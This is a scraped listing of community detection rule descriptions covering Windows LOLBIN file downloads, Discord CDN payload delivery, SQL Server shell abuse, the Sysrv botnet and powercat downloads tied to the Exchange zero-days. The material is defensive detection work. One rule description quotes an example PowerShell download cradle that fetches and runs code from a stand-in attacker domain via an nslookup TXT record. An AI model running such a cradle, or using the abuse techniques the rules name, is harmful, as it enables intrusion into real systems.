Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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'Identifies callouts to Discord CDN addresses for risky file extensions. This detection will trigger when a callout for a risky file is made to a discord server that has only been seen once in your environment.
Unique discord servers are identified using the server ID that is included in the request URL (DiscordServerId in query). Discord CDN has been used in multiple campaigns to download additional payloads.
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM WebSession schema (ASIM WebSession Schema)'
Unique discord servers are identified using the server ID that is included in the request URL (DiscordServerId in query). Discord CDN has been used in multiple campaigns to download additional payloads.
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM WebSession schema (ASIM WebSession Schema)'
Detects code execution via the Windows Update client (wuauclt)
Detects a suspicious curl process start on Windows and outputs the requested document to a local file
Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.
Finger.EXE Execution
Sigma
Detects execution of the "finger.exe" utility.
Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon.
Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.
Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon.
Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.
Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.
Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.
Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents
'This rule identifies a web request with a user agent header known to belong to a hacking tool. This indicates a hacking tool is used on the host.<br>You can add custom hacking tool indicating User-Agent headers using a watchlist, for more information refer to the [UnusualUserAgents Watchlist](https://aka.ms/ASimUnusualUserAgentsWatchlist).
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM WebSession schema (ASIM WebSession Schema)'
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM WebSession schema (ASIM WebSession Schema)'
Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents
Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet
Detects file download using curl.exe
This query was originally published in the threat analytics report, SQL Server abuse.
SQL Server offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.
This query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.
Reference - https://docs.microsoft.com/sql/relational-databases/security/securing-sql-server?view=sql-server-ver15
SQL Server offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.
This query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.
Reference - https://docs.microsoft.com/sql/relational-databases/security/securing-sql-server?view=sql-server-ver15
Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec
Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.
This query was originally published in the threat analytics report, Sysrv botnet evolution.
Sysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.
The following query finds instances of remote code execution on a vulnerable Linux server.
Sysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.
The following query finds instances of remote code execution on a vulnerable Linux server.
This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.
This query was originally published in the threat analytics report, "Exchange Server zero-days exploited in the wild".
In early March 2021, Microsoft released patches for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:
1. CVE-2021-26855
2. CVE-2021-26857
3. CVE-2021-26858
4. CVE-2021-27065
The following query detects downloads of powercat, an exploitation tool for PowerShell. Although associated with these zero-day attacks, powercat is a multi-purpose tool that is also used by other groups of attackers.
More queries related to this threat can be found under the See also section of this page.
Reference - https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
In early March 2021, Microsoft released patches for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:
1. CVE-2021-26855
2. CVE-2021-26857
3. CVE-2021-26858
4. CVE-2021-27065
The following query detects downloads of powercat, an exploitation tool for PowerShell. Although associated with these zero-day attacks, powercat is a multi-purpose tool that is also used by other groups of attackers.
More queries related to this threat can be found under the See also section of this page.
Reference - https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.
Detects a network connection initiated from a process located in the "C:\Users\Public" folder.
Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone.
Use this rule to hunt for potential suspicious or uncommon activity in your environement.
Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone.
Use this rule to hunt for potential suspicious or uncommon activity in your environement.
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